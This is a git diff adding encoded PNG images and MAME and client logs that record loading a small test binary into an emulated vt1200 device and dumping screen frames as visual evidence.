0000000000000000000000000000000000000000..e1fea016f1d2950eafcd8dfaff4eb026ab7444f9 GIT binary patch literal 5346 zcmds5cUTi$v)>S8krJ8;Vkjz2R0u^#0uo}OHx=n6^iJqXj|3ZtGyy?MREmN$QJR!Q zK#YPQND&Z2?-(fx(!PD~d++z$`^Wp-`}cjGvvX$8?3}Y_&g^ey_O6MMHaCYb2LJ%v zx;hsw1He9rh2Mlh6cAAi;DkDHC!NcN01zex0Hjy|_yY}*W&t1=1pxB|0Kh&3071X( z`b+ANfW=W?`vL&_7AKGo-GM>6h8Mwk4t{`7)G?AX1{#tKx@ZyP>=5LFbqa8SIzSPn zsB&5Xby@*!ib7!(RIy5^lMsVKopVfb{2vNFL}w4z(0^7?!pV$63Nrs*A;`nWB{0ar z$M2tYoMrbzTNQYxdjW5HeP}7i-usAlRC^jajo*}a_{|eEEOxf=);IN$uL|+;cbr;p ziw1Cuw;D&5?Kud}9=wk%sEmF2Bsj{CYh!%l07Ds78tHL_64_A1SQcM>mV1oQu`j@w ztw--w#2XZEtLY*0z^8piZW$?(!%uYmU2BJDw{9BpZx`{nYK&}h*QpJ+WaUebx88)~ zd0GE^`+6-@!;@r&>0UXEajkM6S8%N;w_*`p#PAD==N#lt!O-?UY3)KEou`& z`FLD8|L3zW+z$DN2`)v(!Ks1upM9wITev-!a0DAEE9w{rRppJv1nJwgib(2M)|s@~ z-J;sF)H@}a#2VInk!OYc9qm`zMJv{`B@QOvcvQzpC1M$#Bd}q28uO+6JJL-?C=YB< z!Uw%!9BqE*8s~0HbVvIUCQE!MXYN*)jCF+wxW~JCC?b51|N~$E%#I{xgm6s7(;9w!yE*s`#-+3TrrtK@u9p>~s=6kH}6;tyx`HF%$wMxWStyy+aCJNjFR@uX$m zm|VEs6Id;ce@v;_n*|+NVVp(Qwx|14x2TApIpJh>y?nuU`_*)QVx@A?dc*11&a}#o zLfdVVEON9zZe~X5wyc}iuX&JO_xMKs*uz3M#j1K!j5SjIm;Cqj?4Wd)IC7(I*AWRN zrLP^84SCyNTh)r96hq1nQ|tf*sou9snkINA)KEUc&g^iGMywULHzdc1u?@Cr%hZOYt_G!Q%wf@Gtn^V`>~VS0fT6?_qK7{=yt z9@*Qn+Ol**s@3bsLADcz{;1TDCu?pu>>jJT5SQubAa40cs5v~W!*i&OUu0x+di1{G zBM+s4!QHAcL$c4ei3->KC7I{r=JB|7Axg~-VZzm#q_{w9_S}4e=#9tRm7z$0%`FF} znw>GvIG8mrk*51<#XsU*NLwHA6Z9J5gHOx3Nur7Bpw}ak-Tg{%8%uLTa#J-jPMfPO zJ9;2|xqs6vylyQpeb3mSxF3ta^#Z%g`ik2O?qlq8itY4JT_xM}=LL?>I|hHMy8Y?s z%WS3IMF3NnTF*JD%rj_)OzA8#sXoZzizJM3(8+(!Evuj2lglsi>eH!}O}4=PX9Ga? z_$$Ks%eAl;95uB^XEp;y6$tKsz6Y*`QtRsj_BXQW2EU$Hu1)@zemG!0KK3J zv(th~Y^yzeZ`}ABoV2ToWVkijkbaf*oB6h%$+ z#)U&y!r_bc3QYYS^14hR93xCyh^Mh9jc}L~P^`iKPkmUhiDhQFi+2+Z?C7 zFs}1%yt*bvD87vxW+KFk;9x^=z(4$r1!52;P@Zh6NMN6_SBQ7w&yaQ-ltES4&bhN2 zG&*(&`~W=t*LZhNH(sEN@jMF&)hq&r%0d?OjhB&XAD4pC!u(*tX*Yi9D z#darHZN9Tc)P8F4R=g^g_O>LQ1R0=Ln{@x<;b)eGU!F?siLqcGk*Zrp92GC>6)=m# z5z{A#$uy_e#i|i6L*iTvd-pR8x}Mto*-#UZ{uWf1U6z<;_F-|FEifa4T+&ZknU+v~ z2IE;MT*$W_0&LuY`cEb0g}v)1Td#NSpKoh~+>@zt+_@iHWx)f}=D&5N_z!&lz?;q= zV`Eh$FYSSIRBx4;2Onuyy`cT3lP5@KpUT6WV1!Q{n6)eKhCiPSpO{-yKv-BAd@)B; z>``39!Q>KOtk9>)#XnhjAuLoq+T#cCq1-u;dzN|IJn?${5^rL3mcambS^XRYX~R^>9_)0+kYHz;&3iNS4T$i2j zD5=ogyx@U%6x1I^xHfj>47@-V{N@_^$!G8ef^*b@OHOP~3b#xzet`aUK*m;=&iVkF z@(qll`#g2)LDovWMHaa(s-13m!YVl6w;n%C@_yT}c8UIY>H_1FYC5~nYM4nO@?#K+ z=(`u`#MwPr6Ogh0xiLT4K7>`~Bdy^qGkvti%+{*7tjWZ7r775xPMJ2?RNeomb~pbc zOwAJ?`u&pikb_~fw&0=J%gJ&ZKkmt8Q>G6(PM)KN6_HkuTmw!o$;8OcV+FgL1mBki z?_X!z25jH;E;EfA#FtzXV4AU`MS*E{%Z{&QOU5at%-2!*2&*euzn%i!BW%vGF9I}E z;ld&;9|9{@a(_KNZdNhbzm!9Y5Y{Z5ks?QSPCp4ook>DFmR~(lS|(?TA)H}7W#8nQ zQ8csi)u3*KkMgB*@W-UgmM=!A+UT5y_&juqT4!b0*}TjaGC5G*Md`L@LBhKautZqy?1D%qLNJ6S z${X9ZNGtD>q+iiz76)_-Nlm&Ket#c(5>#i~NH1*E6;(^H19a}JuH$;dG=e4KWI=hC z_b&?O7Bc;&NI9gai@l0fUWu@IS0BHAOPpSwhN)H#xr*Gc+c;{0A%Kh%&E~yQDFTTw zQO0Qtr2U>9uCebln84*WPW$v( zl+6&=xtIy6QW@I0EXwDodNs)Grpp}`PF_X|HW-G2=GObMZRX%7Xp+4xclRDOmqtdm*-T4kxv^AYt@k$u}YBSA9k~6DDj&i0_bvYGW3kI z`K%JiatgwG^Qmk{l&fJoM-9uZh8`3W^O|G2bSx%bt!B`LLpeOt_rbxNurUgO zK|w)4!v$eYEIH-|`7O!M1m*Yd82%PdqyDE-t@ViC^P>aqGmAC0f!$)hHugg-K^bVu zcm4`5gfC13`!m_gPqV!5WBm*TXJebC|4ArcJ+-qV$@{}j{zH01*o*%0U`TWCj@-ST z!xL$i<1KX>XoRKBocvF*O-M`X(=RV9BDjTeK3;oJpy*D3BMJaJmZ z@t1$I?|D&6jN}DrEG7#-QXqJnq=K20FM|1Ovfll>QLT3 zk{&6WJb!jUeLt5N|QBsyD64ZehC(X2bZ7D#D%;9(!7TNzG&%pvH7SY}Zb`v*W zB2toO8TW}jldl=@y9im92Q!ponh-PZi2fVngb*D6j$8pE-kTp>=hDd>P{RI<#iSTw z#waob2}JG)C*c6XXc30u2ep3zLU+k^@!_-MGDw3`Xp95Avi=Kp+#gkWTkd` zN)%%^OYkIckDl#3Fv$={j#QCl>;LN&N3{{v5tg9tVo~Iw129LN=Vt(j{34v4#w0qk(+8`0kOS3?4 zynxi*Bo84p1fb+n>j^obN+E4yZ;J5rCrL6ts8Ss~;$_0>c3de&0QWGeMDoB89J1pj zI|DJJ&z`SG+|1^Bj0^LjG@2=#sVk;Pypk#;Rls==LsArx(87A8&pEQ|xCBGf3=}2= zsZ<7e1zX8d)InP^{H0`IXVQL|&-j4VclNGg-ErZ)723E0g`kQCv{K5GqK)9vu*A{R z68S+8deIh(DlH5d6!*VdK4x&`qDY~6Iuz6Glcu1ITo+Mjim5$HrM~T&++c|DhL{L3FSbE7MH6KZ??8?GK@bzrw|xzvRk6qc zHq)iQFbpyvst^$-Rn>Cj*R+Uh2eKopfVXodBO`a8P#W1XRmCc0Pr8fc-g|tryV=@> zA9q{hwQpUXT$#G@_(B7c3pit__F}5^l2*_0P+=udHRjMOv}6AVL0|OwuZ1K&%XoFaxjBPQj>yq8Myo|qoJp#HHjV_d(BgFg*+uEUi literal 0 HcmV?d00001 diff --git a/dwt/evidence/visual/settled_hook_client.log b/dwt/evidence/visual/settled_hook_client.log new file mode 100644 index 0000000..45cad7f --- /dev/null +++ b/dwt/evidence/visual/settled_hook_client.log @@ -0,0 +1,15 @@ +install at frame 3399 +[+] challenge e8 6c df 05 00 00 db f0 02 63 a8 c0 e8 64 df 06 +[+] reply e5 72 87 43 9c 19 e7 32 be d8 22 91 8e c3 69 85 +opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00') +poke-file dwt/visual/build/blinkpc.bin: 300 bytes at 0x01840000: ok +[.] jump returned 0x00000000 (0) +jump 0x01840000: returned 0x00000000 (0) payload=00 00 00 00 +post-jump opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00') +after-peek 0x01841000 (32) -> 00 00 00 00 55 55 00 00 55 55 55 55 00 00 00 00 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 +install done at frame 3439 +frame~3500: post-jump opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00') | after-peek 0x01841000 (32) -> 01 00 00 00 20 5f 19 3f 10 00 00 00 00 00 00 00 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 now 3524 +frame~3600: post-jump opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00') | after-peek 0x01841000 (32) -> 01 00 00 00 20 5f b4 3e 10 00 00 00 00 00 00 00 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 now 3624 +frame~3700: post-jump opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00') | after-peek 0x01841000 (32) -> 01 00 00 00 20 5f 56 3e 10 00 00 00 00 00 00 00 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 now 3724 +frame~3800: post-jump opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00') | after-peek 0x01841000 (32) -> 01 00 00 00 20 5f ea 3d 10 00 00 00 10 b3 35 00 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 now 3834 +frame~4000: post-jump opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00') | after-peek 0x01841000 (32) -> 01 00 00 00 20 5f 26 3d 10 00 00 00 00 00 00 00 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 now 4033 diff --git a/dwt/evidence/visual/settled_hook_mame.log b/dwt/evidence/visual/settled_hook_mame.log new file mode 100644 index 0000000..f7b892f --- /dev/null +++ b/dwt/evidence/visual/settled_hook_mame.log @@ -0,0 +1,45 @@ +vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901 +vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901 +vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1 +vt1200: screen_update#3 frame=0 clip_y=0..900 screen=1280x901 +vt1200: scanline#1 line=0 enabled=1 +vt1200: guard#2 frame=0 dump_frame=-1 dump_ram=-1 +vt1200: screen_update#4 frame=1 clip_y=0..0 screen=1280x901 +vt1200: scanline#2 line=0 enabled=1 +vt1200: scanline#3 line=1 enabled=1 +vt1200: scanline#4 line=2 enabled=1 +vt1200: dumped frame 3440 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames24/vt1200-frame-3440.ppm (1280x901, 454990 lit = 39.4518%) +vt1200: dumped frame 3450 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames24/vt1200-frame-3450.ppm (1280x901, 454990 lit = 39.4518%) +vt1200: dumped frame 3460 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames24/vt1200-frame-3460.ppm (1280x901, 454990 lit = 39.4518%) +vt1200: dumped frame 3470 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames24/vt1200-frame-3470.ppm (1280x901, 454990 lit = 39.4518%) +vt1200: dumped frame 3480 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames24/vt1200-frame-3480.ppm (1280x901, 454990 lit = 39.4518%) +vt1200: dumped frame 3490 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames24/vt1200-frame-3490.ppm (1280x901, 454990 lit = 39.4518%) +vt1200: dumped frame 3500 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames24/vt1200-frame-3500.ppm (1280x901, 454990 lit = 39.4518%) +vt1200: dumped frame 3510 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames24/vt1200-frame-3510.ppm (1280x901, 455181 lit = 39.4684%) +vt1200: dumped frame 3520 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames24/vt1200-frame-3520.ppm (1280x901, 454420 lit = 39.4024%) +vt1200: dumped frame 3530 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames24/vt1200-frame-3530.ppm (1280x901, 454420 lit = 39.4024%) +vt1200: dumped frame 3540 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames24/vt1200-frame-3540.ppm (1280x901, 454420 lit = 39.4024%) +vt1200: dumped frame 3550 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames24/vt1200-frame-3550.ppm (1280x901, 454420 lit = 39.4024%) +vt1200: dumped frame 3560 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames24/vt1200-frame-3560.ppm (1280x901, 454420 lit = 39.4024%) +vt1200: dumped frame 3570 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames24/vt1200-frame-3570.ppm (1280x901, 454420 lit = 39.4024%) +vt1200: dumped frame 3580 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames24/vt1200-frame-3580.ppm (1280x901, 454420 lit = 39.4024%) +vt1200: dumped frame 3590 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames24/vt1200-frame-3590.ppm (1280x901, 454420 lit = 39.4024%) +vt1200: dumped frame 3600 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames24/vt1200-frame-3600.ppm (1280x901, 454420 lit = 39.4024%) +vt1200: dumped frame 3610 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames24/vt1200-frame-3610.ppm (1280x901, 454361 lit = 39.3973%) +vt1200: dumped frame 3620 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames24/vt1200-frame-3620.ppm (1280x901, 454022 lit = 39.3679%) +vt1200: dumped frame 3630 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames24/vt1200-frame-3630.ppm (1280x901, 454022 lit = 39.3679%) +vt1200: dumped frame 3640 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames24/vt1200-frame-3640.ppm (1280x901, 454022 lit = 39.3679%) +vt1200: dumped frame 3650 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames24/vt1200-frame-3650.ppm (1280x901, 454022 lit = 39.3679%) +vt1200: dumped frame 3660 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames24/vt1200-frame-3660.ppm (1280x901, 454022 lit = 39.3679%) +vt1200: dumped frame 3670 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames24/vt1200-frame-3670.ppm (1280x901, 454022 lit = 39.3679%) +vt1200: dumped frame 3680 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames24/vt1200-frame-3680.ppm (1280x901, 454022 lit = 39.3679%) +vt1200: dumped frame 3690 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames24/vt1200-frame-3690.ppm (1280x901, 454022 lit = 39.3679%) +vt1200: dumped frame 3700 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames24/vt1200-frame-3700.ppm (1280x901, 454022 lit = 39.3679%) +vt1200: dumped frame 3710 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames24/vt1200-frame-3710.ppm (1280x901, 454664 lit = 39.4236%) +vt1200: dumped frame 3720 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames24/vt1200-frame-3720.ppm (1280x901, 454469 lit = 39.4066%) +vt1200: dumped frame 3730 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames24/vt1200-frame-3730.ppm (1280x901, 454469 lit = 39.4066%) +vt1200: dumped frame 3740 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames24/vt1200-frame-3740.ppm (1280x901, 454469 lit = 39.4066%) +vt1200: dumped frame 3750 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames24/vt1200-frame-3750.ppm (1280x901, 454469 lit = 39.4066%) +vt1200: dumped frame 3760 -> /home/arti/code/k-space/vt1200/dwt/evidence/visual/live/frames24/vt1200-frame-3760.ppm (1280x901, 454469 lit = 39.4066%) +frame_clock: stopping at frame 4200 +Average speed: 325.09% (58 seconds) diff --git a/dwt/evidence/visual/static_after_3430.png b/dwt/evidence/visual/static_after_3430.png new file mode 100644 index 0000000000000000000000000000000000000000..7d84a5bf007efd5778440e7a0f57a60337f75905 GIT binary patch literal 5506 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 Mm-ID@F5rUy1OE*5vj6}9 literal 0 HcmV?d00001 diff --git a/dwt/evidence/visual/static_before_3420.png b/dwt/evidence/visual/static_before_3420.png new file mode 100644 index 0000000000000000000000000000000000000000..7d84a5bf007efd5778440e7a0f57a60337f75905 GIT binary patch literal 5506 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 